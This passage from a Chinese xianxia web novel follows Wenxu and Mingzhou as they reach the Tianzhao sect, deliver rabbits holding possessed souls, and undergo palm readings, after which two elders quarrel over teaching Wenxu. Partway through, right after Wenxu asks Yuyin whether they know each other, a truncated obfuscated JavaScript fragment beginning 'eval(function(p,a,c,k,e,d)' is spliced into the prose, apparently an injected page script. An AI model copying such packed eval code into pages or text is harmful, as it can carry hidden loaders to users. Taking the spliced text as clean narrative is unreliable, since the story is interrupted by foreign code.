去的路倒是不难走,就是每天需要给那些装在捕梦网里的兔子喂食。 二人说好了,一人喂一天兔子。 一开始闻絮还有耐心地拿着萝卜一只一只喂,但有些兔子等不及,总是会争抢。 闻絮只好改了方式,两只手同时拿了六根萝卜一起喂食。 但即使是这样,还是会有争抢的时候。 后来实在太累,闻絮直接像喂鱼一样,把所有的萝卜倒进去让他们抢着吃。 马上就要到天照宗了,就算有些兔子吃不到萝卜,也不会马上就饿死的。 明舟一开始也是老老实实地在喂兔子,后来看到闻絮的方法觉得有些不妥,毕竟这些身体里住着人的灵魂。 等到后来,明舟喂兔子也喂得腰酸背痛,所以他加入了闻絮。 虽然有些不道德,自己捂上眼睛不看就当是不知道了。 闻絮看着明舟的动作有些好笑,“你喂兔子怎么还要捂住眼睛?” “我一想到这些兔子身体里住着人,我还这样喂兔子,我就感觉自己不是人。” 闻絮更想笑了,“捂上眼睛你就感觉自己是人了吗?” 明舟:“虽然感觉自己依旧没干人事,但是所谓眼不见心为净,做人还是要心净一点。” 明舟的一套理论彻底把闻絮逗笑了,闻絮捂住肚子在一旁笑起来。 场面一时之间有些滑稽,密密麻麻的兔子在疯狂吃着萝卜,一个捂着眼睛的少年,一个大笑的少女。 闻絮穿书这么长时间以来,还是第一次这么开心地笑。 她笑完之后拉开了明舟捂着眼睛的手,“不要捂眼睛了。” 明舟有些好奇地看着闻絮,闻絮拿了一根干净的胡萝卜放在他嘴边,另一根则是放在了自己嘴里。 “我教你一个办法,自己也吃胡萝卜就好了,把自己也想象成兔子在吃胡萝卜就好了。” 明舟笑了一下,咬了一大口萝卜,满屋子都是啃萝卜的声音。 画外音:卖胡萝卜的小贩:昨天来了个大客户,萝卜都是一大筐一大筐买,大概是眼睛不好吧,需要补补。 二人赶了十几天的路,关系也拉近了不少,闻絮不会再叫明舟道友了,而是直接叫他的名字。 至于明舟的熏球,闻絮提出要还给他,明舟又拿出一个一模一样的,表示自己还有,那个就送给闻絮了。 闻絮坦然收下,这个熏球样式精致,里面的香味也好闻,带在身上的时候晚上睡觉也十分舒服。 到了天照宗脚下,放眼望去就是无穷无尽的台阶。 天照宗之所以叫这个名字,也是由于其得天独厚的地理位置。 古人常说,修仙之人讲究天地灵气,所谓地势越高,越接近天,灵气也自然聚集得越多。 天照宗主宗位于山之顶峰,一路上去需要走六千五百四十一个台阶。 闻絮看着高耸入云的台阶,有些沉默了,现在是早上,一路走上去,大概就要天黑了吧。 她现在明白为什么人们都要修仙了,这一趟下来大概得累个半死了。 她有些无奈地看向明舟,“我们两个要爬完所有的台阶吗?有没有什么捷径?” 明舟摇了摇头,“这是天照宗的规矩,所有人第一次上山,必须亲自爬完所有台阶,在路上留下自己的气息,以后再上山就可以使用法器了。” 闻絮低头看了看泛着青灰色的石阶,用手指擦去上面的尘土,露出了原本的青绿色。 “这是玉石做的吗?” 明舟点头,“这是玉石阶,它会自动识别来人的信息,走完一千阶,宗门内的人可以感受到我们的信息。” 明舟拿出水袋递给闻絮,“先喝点水吧,一会儿爬起来有些累,可能会脱水。” 闻絮接过抿了一口,“把兔子也拿出来吧,再喂一次好了。” 二人还没上一个楼梯,就在山脚下开始喂兔子。 天照宗主殿,掌门玄天早已看到山脚下的二人,他看到了明舟,没有让弟子做特殊对待,这是每个上山的弟子都必须要经历的。 只是他身边的那个姑娘,有些面生,和他长得也不相像,应该也没有血缘关系,也许是其他宗门的弟子提前来了吧。 玄天看着二人喝了水,又开始坐在石阶上慢悠悠喂起了兔子。 喂兔子也就算了,喂着喂着,两人自己也坐在那里吃起了胡萝卜。 他有些疑惑,难道戒律处的长老有新规定吗?视力不好的弟子也不能上山了吗? 他派人去问,发现并没有这样的规矩。 他耐着性子看了一会,两人啃完了萝卜,收起了兔子,终于开始上山了。 刚开始的三千阶楼梯修得比较扁平,路面宽而窄,单个楼梯的高度 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从玄冰洞出来之后,她的肤色反而白回来了。 她抬头看了看太阳,有些刺眼,但自己体感很舒适。 她和明舟之间离着一个人左右的距离,她主动站起来,拉近了二人的距离又坐下。 闻絮一坐下,周身温冷的气息扑面而来,明舟感到很舒服。 他注意到闻絮的动作,以为闻絮有话要说,一直抬起脸盯着她看。 闻絮没有话要讲,只是默默坐在那里。 但明舟还以为闻絮在酝酿着什么,锲而不舍地盯着她看。 最后盯到闻絮都受不了了,“你一直看着我做什么?” 明舟有些无辜,“我还以为你坐过来是有话要说。” 闻絮失笑,“没话说就不能坐你身边了吗?” “能。”明舟有些害羞地摸了摸头。 闻絮看他这个反应,又解释了一句,“我体寒,离我近一点会比较凉快。” 两人静静靠着坐了一会儿,闻絮看明舟体力恢复好了,提出继续走。 两人的速度不慢,又过了一个半时辰,终于爬完了最后一个台阶。 爬上去的时候,闻絮感觉自己的双腿有些酸软,再回首看,已经望不到最下方的台阶了。 玄天看着听着弟子通报,知道二人已经一起上来了。 他亲自出门迎接,看到明舟的时候不免欣慰,果然是有天赋的孩子,这么短的时间就可以爬上来。 明舟向玄天行礼,二人一阵寒暄后,明舟向他介绍了身边的闻絮。 玄天此时把目光放在闻絮身上,身形有些纤弱,但是凭她可以和明舟一起爬上来,就不是什么等闲之辈。 闻絮学着明舟的样子也对玄天行了个礼,玄天也笑着表示,既然二人是朋友,就不用多礼了。 明舟从储物戒里拿出捕梦网,里面密密麻麻的兔子忽闪着眼睛看着周围的一切。 明舟向玄天讲了路上的经历,还特意说明了闻絮救了自己一次,不由得让玄天对闻絮再次注意。 玄天让门下弟子拿了兔子下去,表示自己先去和各位长老商量如何解决兔子的问题。 这些被夺舍的人的神魂都在此地,但是肉身却不知去了哪里。 12. 因为不想认命 可以使用追踪符,但是没有引子,也很难找到这些人。 明舟提出了用琼花露,被夺舍的人都被兔子要求喝了琼花露。 将琼花露的气味附在追踪符上,应当可以起作用。 只是眼下身边并没有带琼花露。 闻絮听完,抬起胳膊问了问自己身上的味道,时隔半个月,身体上还有味道,应当是香气入血了。 “可以用我们两个的血,我们两个都喝了琼花露,用我们的血应该有效。” 玄天点头,表示可以,“这个方法确实可行,不过这么多兔子,你们二人可能需要多放一点。” 二人都表示不在意。 于是在玄天的书房内,一张桌前,二人一起跪坐,拉起袖子,露出胳膊。 两个瓷白色的碗放在两人身前,两人拿起匕首,在手腕处割了一刀,血就一滴滴落入碗里。 两人的血都带着香甜的气息,空气里也有甜腻的味道。 收集够了两碗血,玄天提笔蘸血在黄纸上画了一个追踪符。 然后,他的身上仿佛有无影手一般,摞着的符纸飞快浮起,在空中变成一道道已经写好的符纸。 “去!” 随着玄天的手一指,一道道符纸从窗户飞出去,到了四面八方。 “符纸已经发出去了,至于兔子,就先养在我们天照宗,等找到他们的肉身,再将他们的灵魂归位。” 闻絮和明舟各自包扎好自己的伤口,动作出奇地一致。 玄天问明舟,“明舟,你的年纪也不小了,你父亲之前就写信,想让你加入我们天照宗,我当然是乐意的,只是还想问问你的意思。” 明舟立即起身整理衣襟,执晚辈礼深揖,“多谢掌门垂青,今日引晚辈入道,铭感五内,不敢忘怀。” 玄天颔首微笑,拍了拍明舟的肩膀,“明舟不必如此客气,你是我看着长大的,你的性子我最是了解,加以栽培,日后定成大器。” 他又转头看向闻絮,“闻姑娘对于天照宗感觉怎么样?若是有意加入宗门,就同我一起去验验资质。” 闻絮作揖,“不瞒掌门,我想加入天照宗,想要留在这里。” 得到了二人肯定的回答,玄天带着两人到了掌经殿。 掌经殿内有两位长老,一位柏浩长老,另一位是襄兰长老。 两位长老正在处理宗门内务,分类整理过往弟子命理档案。 玄天叫弟子去禀报两位长老,一边向闻絮二人解释,“新弟子入门都需入掌经殿,经两位长老一起相看,记录命理,分析你们的命格,也是对你们的修炼有益的。” 二人一起回答,“弟子明白。” 掌经殿内青烟袅袅升起,一男一女身着白袍道衣从里面走出来。 “掌门师兄,今日怎么有空来了?” 玄天简单介绍了一下二人,表明了来意。 柏浩看了一眼,先叫了明舟上前,他和襄兰坐在木桌一侧,明舟在另一侧。 “抬起你的左手。” 柏浩用楠木片抬起明舟的手腕,让他掌心分开,他掌心的纹路也由此显现。 寻常人的手心会有许多纹路,但是会有三条最为明显的。 柏浩长老会先大概看一眼,掌心没有过多杂乱的纹路,纹路过多容易道心不纯,不是利于修行之人。 随后楠木片交由襄兰手中,她手指尖一道温润灵光顺着木片流入明舟掌中。 “地纹深邃绵长,纹路从掌心直达腕处,可见生命力强悍,但是在刚开始有一细小纹路加入,与原本的纹路融为一体,命中或有劫难。” “玉柱线笔直清晰,纹路通过掌心到达中指,此人专注力极强,命格不凡。” “至于姻缘线,年龄尚小,机缘未到,天机不可泄露。” 两位长老替明舟相看完,对着玄天点了点头,“掌门,这位弟子天赋极佳,心无杂念,是个好苗子。” 玄天满意地点点头,他也早已猜到了这个结果,他看重的人是不会错的。 他现在有些担心闻絮这个姑娘,这个姑娘自从上来就不怎么说话,有些沉默,但看得出来为人聪明。 心思太多的人天照宗也是不能留的。 闻絮没想那么多,走上前,坐在明舟刚刚的位置,抬眼看着柏浩。 和明舟不同,这次看的是右手。 柏浩看了一眼,纹路还算清晰,不算太乱。 襄兰换了木片继续,这次她拿着的是红木做的木片,还是和刚刚步骤一样,金光顺着木片流入掌心。 “地纹九转迂曲,年少时劫难较多。”她话音微顿,“纹路中央有一横断,英年早逝,身死道消,但一杂纹汇入通干,死水微澜,地纹接通。” 襄兰看到这里,表情愈发认真,原本应当身死的人居然可以再活过来,眼前的姑娘小小年纪已经有此机缘。 “玉柱纹清晰明了,但左右副纹交叉汇入,天赋极好,易剑走偏锋,定要静心修身。” 姻缘线也依旧还是没有看,低于二十岁的弟子一律是不看姻缘的。 都说姻缘天定,但耐不过人心,过早泄露信息也会干扰他们的心智。 柏浩和襄兰对于闻絮的掌纹已经看完了,但是迟迟没有下结论。 闻絮看出二人心中纠结,“两位长老不妨直说,若是我不适合留在天照宗,我也绝不纠缠。” 襄兰想了一下,还是开口,“你的天赋也好,虽比不上明舟,但天资聪颖,智慧远在他之上。只是……” 她顿了一下,继续说着,“只是你命路坎坷,早年多灾,青年时有一大祸,有性命之忧,虽已躲过。但是地纹短浅,延续不足,恐怕寿命不长。” 明舟有些担心地看着闻絮,早就听她说她无父无母,这大概就是早年坎坷,如今又说命力不足,上天当真如此不肯眷顾她吗? 闻絮点头,表示自己知道了,“多谢二位长老。” 玄天叹了口气,这都是命数,无法更改的。 闻絮眼里并没有太多失落,她反问襄兰,“襄兰长老,都说命由天定,掌纹也是生来就有,那有没有改命这一说呢?” 襄兰看着她的眼神带着怜爱,“总有不信命之人,逆天改命,但总也改不了天道注定。你也不信命吗?” “信也不信。于我有利我就信,于我不利,我就改了它。” 说完,闻絮站起来,退后一步,拔出寒光。 寒光出鞘的那一刻 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闻絮下手不轻,伤口血肉翻飞,但也没有伤及筋骨。 襄兰清理着她的伤口,“你这样做,万一不成,你的手就废了,你不害怕吗?” “害怕。” “害怕为什么还要那么做?” “因为不想认命。” 襄兰心一动,用力打上了为闻絮包扎的最后一个结。 “你叫闻絮?” “是,长老,我叫闻絮。” 襄兰握住了她的手,“孩子,你愿不愿意留在掌经殿,跟着我?” 闻絮下意识回头看了看玄天,他还是一副淡然的表情,“孩子,你自己决定就好,一切都看缘分。” 闻絮默念着这个名字,掌经殿,既然是和命理相关,自己既然命格不凡,那留在这里也好。 “承蒙长老抬爱,闻絮愿意留在这里,只听候长老安排就是。” 明舟看着闻絮的手,忽然有一种十指连心的动作,感觉自己的手掌也有一丝疼痛。 他抬起自己的右手看了看,没有疤痕也没有伤口,怎么会有一种被利器划破的疼痛感呢? 明舟只以为是连日以来的赶路和爬玉石阶累到了,又默默放下了手臂。 闻絮被襄兰长老留在了掌经殿,玄天其实还觉得有点可惜。 刚刚闻絮虽然没有回答,但是他已经认出了那就是寒光剑。 玉清山尘封多年的宝贝,多年前自己也曾试着去拔出,但始终抗不过雷劫。 如今这个宝贝居然在闻絮的手中,虽说她命运多舛,但是寒光剑既然选择了她做主人,那想必也是可以驾驭的。 刚刚他让闻絮自己决定,不要在意自己的想法。 但还是有些心痛,这样的宝剑,这样的人才,要是做剑修,天照宗日后肯定会又多一员大将。 明舟已经被他收下当了自己的弟子,而且自己刚刚已经放话了,现在反悔,有点显得自己言而无信了。 自己虽然不能反悔,那找一个可以反悔,胡搅蛮缠的就是了。 13. 谁赢了谁就是闻絮的师父 玄天打定主意,安排明舟回房休息之后,又去了三掌门那里一趟。 三掌门景原是一个清瘦的老头,门下弟子并不多,其实就是因为过于严格,很多弟子都不愿意在他门下呆着。 景原的性格也很怪异,嘴皮子也相当厉害,只要他和别人吵架,就没有不赢的时候。 别人和他讲理,他说别人八股成精,王八念经。别人不和他讲理,和他论情的时候,他说这个人婆婆妈妈,胡扯一通。 所以景原的名声一直不太好,但一直能稳坐三掌门的位置,还是得益于厉害。 实在是厉害,没有人能代替他的位置。 天照宗内门大比,获胜的也总是他的弟子。他的弟子数量不多,但贵在精,他这人还一直护犊子。 他为人秉持一个原则,自己的弟子,只能自己骂,自己打,别人不能动他们一个手指头。 这也是玄天来找景原的原因。 襄兰和闻絮确实有缘分,很久之前,也有一个人不信命,说要逆天改命,用自己头上的簪子划破了手心,于是被掌经殿的柏浩长老留在了掌经殿。 如今又来了一个闻絮,也是一样的方法,但襄兰面冷心软,未免不会骄纵了弟子,还是要有另一个严格的师父来管教闻絮。 其实还是舍不得少一个剑修。 玄天到达景原住的青竹峰时,峰内冷清清的,不见弟子的身影。 景原一个人一身青衣道袍,双腿交缠,盘腿坐在地上,眼睛闭着,应该是在闭目养神。 “景原,你的弟子呢?都去哪里了?怎么只剩你一个人了?” 刚说完,就看到地上坐着的景原眼睛一转,一柄剑从他身后横空而出,冲着玄天的脸就去了。 玄天侧身躲过,剑身也转了一个弯,接着从背后向玄天刺去。 景原的眼睛还是闭着,只是嘴里还在叽里咕噜念着剑诀。 也不能叫剑诀,根本没有招数。 他的本命剑——青竹,现在毫无章法地舞动着,左刺一下,右刺一下,玄天也配合着一直躲着,没有还手。 过了一会儿,景原睁开眼睛,收回了青竹,“没意思,你一直不还手,不和你玩了。” 玄天无奈地扶额,“景原,今天我怎么惹到你了,上来就用青竹招待我,嗯?” 景原拍了拍屁股上的灰,“我在冥想呢,弟子都被我赶出去练剑了,谁让你闯进来的?” 玄天笑笑,“原来是这样,我倒要向你赔个不是了。” 景原白了玄天一眼,“净赔些没有用的东西。” 玄天:“……” 玄天:“我这次来真是带了好消息来的,你听不听?” 景原拿着蒲扇扇了扇风,“你能有什么好消息?说来听听。” 玄天此时却有点故弄玄虚,拉长了声音的调子,“今天呢,来了一男一女两个弟子,两个人呢,都天赋非凡,是练剑的好苗子。” “这个男弟子呢,叫明舟。” 景原眼睛一亮,“选我当师父了?” 玄天不好意思地摸了摸头,“不好意思,这个被我收了当弟子了。” 景原眯了眯眼睛,“净讲点坏消息。” 玄天看景原转身要走,不再逗他了,“哎,我接下来要说正经的了,还有一个女弟子,叫闻絮。她呢,手里带着寒光剑。” 景原:“哦。” 下一秒,景原原地跳起,“什么?寒光剑!就是那个在玉清山封了三百年,一拔就会被雷劈死的那个寒光剑?” 玄天:“是,就是那个在玉清山封了三百年,一拔就会被雷劈死的那个寒光剑。” 景原眉毛蹙起,“真的,你没骗我?” 玄天举起三根手指,“我敢发天地誓言,我说的绝对是真的。” 景原此时有些急了,“这个叫闻絮的弟子现在在哪里?我要收她作徒弟,那个明舟你已经收了,闻絮就不能和我抢了。” 他拉起玄天的手就要出去,但是玄天站在原地没动,欲言又止。 景原已经着急了,“哎呀,还有什么事你快点说,一会儿我的徒弟就要被抢走了!” 景原已经开始原地酝酿,准备时刻出发。 “那个,那个,你知道掌经殿的襄兰长老吧,她对闻絮也是爱不释手,刚测完命理就收闻絮当弟子了。” 景原这下真的生气了,脸色潮红,头上青筋凸起,“什么?她这人怎么这样?这不是趁虚而入吗?弟子刚上山,还没见过我呢,我那么大一个弟子,怎么就没了?” 玄天咳嗽了一声,“说话注意措辞,人孩子活得好好的。” 景原:“行拜师仪式了吗?” “还没有。” 景原撸起胳膊上的袖子,“那我不管,还没拜师就不算数,我要去把闻絮抢回来。” 他回头用食指指着玄天,“你不许去,你去了一定拉偏架。” 玄天像一只鹌鹑一样点了点头,心想:我才不去呢。 景原像一只气呼呼的小狗一样,露着胳膊,提着剑就走了,不知道的以为他要去大打一架。 他走出一百米,又气呼呼地回来,拿了自己的水壶,一会儿估计要和襄兰那个凶悍的女人大吵一架,不能把自己渴着。 出门的时候又瞪了玄天一眼,又气呼呼地走了。 玄天:有好戏看了。 这边的明舟回到自己的房间,还是担心闻絮手上的伤口,带着自己包袱的伤药去了闻絮的房间。 掌经殿弟子住在如意峰,和他住的青龙峰距离并不远。 他向掌经殿的弟子打听了新来的弟子的住处,很快找到了闻絮的房间。 闻絮刚刚进屋,凳子还没坐热,明舟就已经来了。 闻絮打开门,看到的就是明舟一张帅脸,不说其他,这张脸还是赏心悦目的。 “你怎么来了?不是刚刚回去吗?” 明舟拿起手中的药瓶摇了摇,“我担心你手上的伤,带了药来看看你。” 闻絮想要伸手接药,明舟却不给她,闻絮疑惑地看着他,明舟解释着:“你的左手腕放了血,右手刚刚又被割伤了,没有一个好的,我来帮你上药吧。” 闻絮想了一下,确实也是,自己的双手现在都不方便。 “好,那进来吧。” “我也刚 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显然两人都听出来了,闻絮诧异,“襄兰长老看着那么一个清净的人,也会和人这么激烈的吵架吗?” 明舟:“也许吧,要不我们打开窗户看一眼?” 闻絮点头,两人一起到了窗边。 闻絮住在正殿的侧边,打开窗户可以直接看到外面的情景。 襄兰长老一只手插着腰,另一只手捂着胸口,一副被气坏的模样,“你怎么能说出如此厚颜无耻的话,我刚收的弟子,你看着好便要过来抢,天下的便宜都让你占完了!” 另一边一个穿着青衣,蓄着胡子的男人也丝毫不示弱,胳膊外露手里还提着剑。 “哎呀,你鬼扯那么多干什么?既然还没行拜师礼,那就还不算是你的弟子。你没看到她手里那把剑吗?这样的孩子不当剑修,你让她来和你算命,这不就是暴殄天物嘛!” 闻絮看着两个人气势不分上下,应当身份都不低。 “这个提着剑的人是谁?” “这位应该就是三掌门景原了。” 闻絮:“你见过吗?” 明舟摇摇头,“没见过,但是他的事迹略有耳闻,听我父亲讲过,是一位个性独特的修士。” 两位修士还在吵架,里面两个人也看得起劲。 闻絮让明舟把一旁的凳子搬来,这么蹲着偷偷看,他们两个的腿一会就都麻了,何况今天还爬了那么久的石阶。 天色逐渐黑了,闻絮看着头顶的月亮,有些打瞌睡,这二人怎么还没吵完。 “你个不讲理的老东西,你就仗着掌门师兄对你好,到处耀武扬威!” “哎呀,你又说些没用的。我懒得和你吵。” 吵了半天,景原累了,原地坐下,拿出自己的水壶喝了一口水。 正要喝第二口的时候,水壶被襄兰的袖子一把收走,“不许喝,还没说完呢。” 景原也认真了,“我不和你动嘴皮子了,这样,我们两个打一架,谁赢了谁就当那孩子的师父。” 14. 十八年的人生中从未出现这样的时刻 襄兰表情怪异,“你是不是疯了,你是剑修,我是相修,我怎么和你打?拿我的木板挠你脚心吗?” “哎呦,你看你这个女人说话不讲究。” 闻絮和明舟听到这里没憋住,都扑哧一声笑了出来。 这位三掌门实在是有些蛮横不讲理了些。 还在吵架的二人听到声音,同时扭头,“谁在那里?” 两人被发现了,也无处可躲,乖乖出去拜见。 “师父,三掌门。” 闻絮这句话师父一出,襄兰也不恼了,气也顺了,得意地看着景原。 这个不讲理的怪人再怎么吵,也拗不过闻絮自己愿意留在这里。 景原急忙向前走了两步,“孩子,饭不能乱吃,话话不能乱说,师父也不能乱喊。还没行拜师礼呢!” 他提起手里的青竹,动作有些着急,剑锋直直对着闻絮。 明舟和襄兰反应快,闪身挡在闻絮面前。 “你看我这剑,再看我这身板,怎么看也比襄兰厉害吧,你选我做师父,日后成为天下第一剑修也是指日可待的。” 刚自夸完,抬头看到二人挡在闻絮身前,又是一阵懊恼,“哎呀,你们这是做什么,我是来收徒弟的,又不是来打她的。” 几人动静太大,惊动了里面静修的柏浩,他一看到景原就头疼。 实力强,耐打还嘴毒。 但自己的弟子襄兰还在外面,他这个做师父也不能坐视不理。 和他一起来的,还有玄天。 玄天白日里说好了不来,但还是放心不下,还是来了。 柏浩站在襄兰身后,玄天站在景原身后,大有四个人大吵一架的样子。 明舟和闻絮站在一旁,像两个无助的孩子。 玄天看到明舟,问他怎么在这里。 明舟如实说了送药的事情和刚刚两位师叔吵架的事情。 事情有些难办,要是以往,景原过来闹一通,襄兰就松口了。 今天襄兰的态度也很强硬,寸步不让。 玄天内心哀嚎:坏了,事情办砸了,这下不好解决了。 襄兰率先动手,拉着闻絮的衣袖,景原也动手,避开闻絮的伤口,拉住了另一边衣袖。 “孩子,你说,想不想跟我学剑?” 闻絮有些为难,她十八年的人生中从未有过这样的时刻。 只有她没得选的时候,今天居然也有人为了自己在这里吵架,只是为了当自己的师父。 玄天站在两人中间,把两人的手扒拉开,“你看看你们这副样子,像话吗?哪有为人师长的模样,闻絮身上还有伤,别为难她了。” 玄天接着清了清嗓子,“我作为掌门,说句公道话,早些时候闻絮已经答应了襄兰,于理该是留在掌经殿。但是吧,闻絮这孩子实在天赋好,再加上还有寒光剑,不学剑也是浪费了。所以,我决定,让她同时拜你们两个为师。” “什么?”一旁听着的几人都同时震惊。 景原有些不满意,“掌门师兄,你这,哪有同时拜两个师父的道理呢?” 襄兰也不同意,“掌门,你这不公平,你这话说了半天,还是向着景原说话。” 玄天听着头都要痛了,“不管了,这就是我的解决方案,你们两个要是不同意,就让闻絮跟我走,做我的徒弟,明舟刚来一个人,和闻絮做个伴也好。” “不行!” “不行!” 两人同时出声,彻底没办法了,只能同意了玄天的提议。 争论了一个下午,终于在玄天的调解下结束了。 他们决定让闻絮上午去青竹峰练剑,午饭过后回到掌经殿,晚上的时间则由她自己安排,不用和其他弟子一起。 闻絮的伤口还没好,于是师父们贴心地让她先休养十日,到时候再举行拜师仪式。 而且还特地说明,拜师茶都必须一起敬,不能分先后。 玄天没办法,只能默默点头答应。 三人满意地走了,留下了闻絮和明舟在风中凌乱。 闻絮看着明舟,“他们问我的意见了吗?” 明舟:“没有。” 闻絮:“我不会累死在这里吧?” 明舟:“应当不会,累死的话你的两位师父也会尽力救你的。” 玄天走了一半,看到明舟还在原地,又把他拉着一起走,“天色晚了,让闻絮好好休息。你跟我一起回去。” 明舟反抗不得,跟着师父一起走了,偷偷伸出另一只手在身后挥了挥,向闻絮告别。 景原和玄天争论了半天,还是败下阵来,闻絮必须住在掌经殿。 并且玄天还勒令,在闻絮养伤的日子里,他不许再去掌经殿闹事了。 景原撇了撇嘴角:不让我去,我让我其他的徒弟去就好了。 第一天,景原先派了自己最小的弟子,叫玉茵,是一个娇娇软软的小姑娘。 如果派自己那些粗犷的男弟子去,可能还没有进门,就被襄兰都赶出来了。 玉茵穿着一身浅青色门服,拿着刚刚收集好的晨露去了。 玉茵人美嘴甜,来了掌经殿也只是说自己近日来睡不安稳,想让襄兰帮忙看看,还恭敬地送了自己收集的晨露。 襄兰看了看小姑娘没什么异常,放心地忙自己的事情去了。 玉茵嘴上谢着,刚出了正殿就奔着闻絮的房间去了。 景原已经告诉过她闻絮住的房间位置了,玉茵找了没两下就找到了。 她轻轻敲了敲门,躲在门后,等到闻絮开门时,并没有看到人。 等闻絮要关门的时侯,她才从门后出来。 “闻师妹,我在这里!” 闻絮正正对上玉茵带笑的眉眼,像一个暖融融的小太阳。 玉茵自顾自拉着闻絮的手进屋,还把门也一起关上,不知道的还以为这是她自己的屋子。 “师妹,你的手还是太凉了,女孩子一定要注意自己的身体,你看你,脸色也有点苍白,我今天带了好多进补的丹药,你可一定要都吃了。” “我还听师父说了,你的手掌被割伤了,我昨晚特地炖了一个猪蹄,以形补形还是有点道理的。” 闻絮看着玉茵掏出来一桌子的东西,一时有些蒙圈。 “你好,我们认识吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻絮要起身送她,玉茵皱着眉头,语气带些些嗔怒,“师妹你别起来,就坐在那里接着吃。” 闻絮起身的动作被迫停止,只能拿着筷子和玉茵挥了挥手。 玉茵走后,闻絮一个人坐在桌前,默默吃完了一个大猪蹄子。 能不能以形补形是不知道了,但是她的肚子现在已经撑到不行了。 她一想到玉茵笑盈盈的脸,就不忍心浪费她这份心意。 玉茵走后一上午都没有人,闻絮一个人闲着没事,但是又被襄兰要求在屋内养伤。 闻絮自己在掌经殿内找了一些书来看,反正日后也是要学的,现在提前看看就当熟悉了。 掌经殿的弟子入门第一件事就是学刻字,但这刻字不是普通的刻字,是要用灵力在玉石牌上刻字。 将自己的灵力输入玉石内,这玉牌就成为了身份的象征。 掌控不好灵力的话,玉石会从中间直接裂开。力度如果用得太小,刻了多次,玉石失去灵敏性,也是要报废的。 闻絮现在就是属于典型的只有一身蛮力的修士,如何制衡还是个问题。 她翻开书,一字一句认真读着。 “每个人都有灵力,不过是有强弱之分。灵力于人,如同人的五官四肢,可用来感知,预知,强迫等。” 相修对于灵力的把握要求十分细腻,窥人命运,探其天性,如果灵力用得不好,对人对己都是一种祸害。 15. 捡到一只小猫 闻絮读完前面的几页,细细品咂着里面的各中奥妙。 灵力最初级的用法就是用来感知物品,无需眼睛直接来感受。 最开始只是感觉物品的大致位置,再然后越来精准,直到你可以清楚地明白它所在的位置。 再进一步就是感知眼前物品的形状,随后就是更细节的东西,一块布料上的花纹,一杯茶水的颜色。 视物,听音,辨色,再然后可以取物,化形。 没有灵力做不到的事情,只有你灵力不够的问题。 对于相修来说,要将灵力化作自己的眼睛和手,将走行于掌纹之间的命理一一转码。 用现代的话语来说,人的掌纹就好像一串电脑的二进制代码,相术师就是一个程序员,负责将代码转成人们可以看懂的东西。 区别就是相术师的工作更为复杂一些,程序员经常中年秃顶,还好掌经殿的两位长老头发光彩依旧。 闻絮决定从最简单的开始练起,她闭上自己的眼睛,试着将身体整个放松下来,周围一片宁静祥和,连掉落一根针的声音都可以听清。 闻絮想着屋内的陈设,背对着床的位置,试着放出自己的灵力感知床边的帐缦的感觉。 但是一开始就有些困难,她感觉自己像一个高度近视加散光的人在黑夜中行走,迷迷蒙蒙的感觉,总是看不清楚。 “用灵力来感知,要从天地间最简单的东西开始,花草树木,蓝天流水,都比这屋中任何一件东西要好得多。” 是襄兰的声音,闻絮太过于专注,没有发现襄兰已经站在了门口,饶有兴味地看着自己。 襄兰忙完了自己的事情,想起来闻絮还有伤,带了自己珍藏的伤药来看她。 门没有关紧,留了一条小缝,她从缝里看到了闻絮闭着眼睛,仿佛在寻找什么东西一样,神情也十分认真。 襄兰轻轻打开了门,放轻步子走了进来,看到了书桌上放着的书,一下就明白了闻絮在做的事情。 她半天没有出声,想着闻絮什么时候可以发现自己,但很显然没有。 闻絮闭着的眼皮下眼珠左右流转,眉头紧紧皱着,嘴唇紧紧闭着,能感受到里面的牙齿都在用力。 自己摸索终究是困难的,所以襄兰出声提醒了闻絮。 “做事从简单到困难,一个步子一个步子来。” “多谢师父提点,闻絮记下了。” 襄兰看着闻絮恭敬的表情,把伤药放在了桌子上,起身出去了。 聪明的孩子不需要说太多,闻絮已经懂得开始自己摸索了,那她这个做师父的,只需要稍微提点就可以了。 师父领进门,修行看个人。 闻絮走出掌经殿,一直走了很远,这一路她不是单纯地走,还在观察着路上的风景。 天照宗的各个峰都是风景秀丽,不缺观察的对象。 她走到一颗松树前停下,她先仔细看了看它的树干和叶子。 棕褐色粗大的树干高高耸立着,上面密密的松针排列得很整齐。 闻絮这次没有率先开始感知,而是选择了先观察。 等到观察完之后,闻絮找了一块地方,盘腿坐在地上,闭上了眼睛。 先观察对于她有一点干扰,就是她的脑中会有想象的画面,极易对她产生干扰。 这也是最初修士会面临的问题,如何做到忘我以见真。 太过于纠结这个问题就会陷入虚无主义,什么是我,我从哪里来,要到哪里去,怎么样才是忘我。 闻絮想到了以前转移注意力的方法,想象自己在一个完全漆黑的房间,自己是一团火焰,自己朝向的地方就会亮起来。 人的瞬时记忆比较短暂,做完这个注意力转移的方法,闻絮再次放出灵力感知。 这次比在房间内顺利很多,她先是感知到了松树大体的形状,树干和叶片的形状。 再次细细感知,这次她的视野出现了色彩,只是边界比较模糊,但也能依稀看出不同的色彩。 树干一圈圈的纹理,叶片不同形状的走行,她都一一感受着。 这次耗用的灵力不多,但是对于闻絮这样的初学者,第一次使用时间不宜过长。 闻絮感觉脑袋有点胀胀的,果然还是不能太逞强。 但是既然都出来了,闻絮就在外面溜了一圈,隔着老远她听到了凌厉的剑声。 声音由远及近,虽不见人影,但听得出劈开风声的声音,可见挥剑之人功力不俗。 大概是哪个弟子在练剑吧。 闻絮不欲偷窥其它弟子练习,没有再向前走。 一座小山峰下,明舟擦了擦额头的汗,下意识向上看了一眼,但没看到人脸,只有离去之人翻飞的衣襟。 难道是闻絮吗? 明舟疑惑了一下,掌心隐隐作痛还有点发痒的感觉又再提示着他。 这奇怪的感觉到底是哪里来的? 难道是自己最近真的太累了,掌心这个地方有些瘀堵,才导致自己有痛感吗? 明舟拿出药酒,运功在自己的掌心搓热,试图把瘀堵化开。 闻絮不知道明舟这边的疑惑,还在自顾自地闲逛着。 草丛里传来一阵异响,不免让闻絮心生警惕。 她停住了步子,里面的声音也停止了,她继续向前,里面的东西也继续发出声响。 闻絮走近,用脚踢开遮挡的草丛,是一只趴在角落默默舔着自己爪子的小猫。 闻絮松了一口气,不过是一只小猫而已,自己的神经还是太紧张了。 不过眼前的小猫有点不对劲,它的姿势很奇怪,左边的前脚掌仿佛受了伤,不停地在用自己的身体舔舐着伤口。 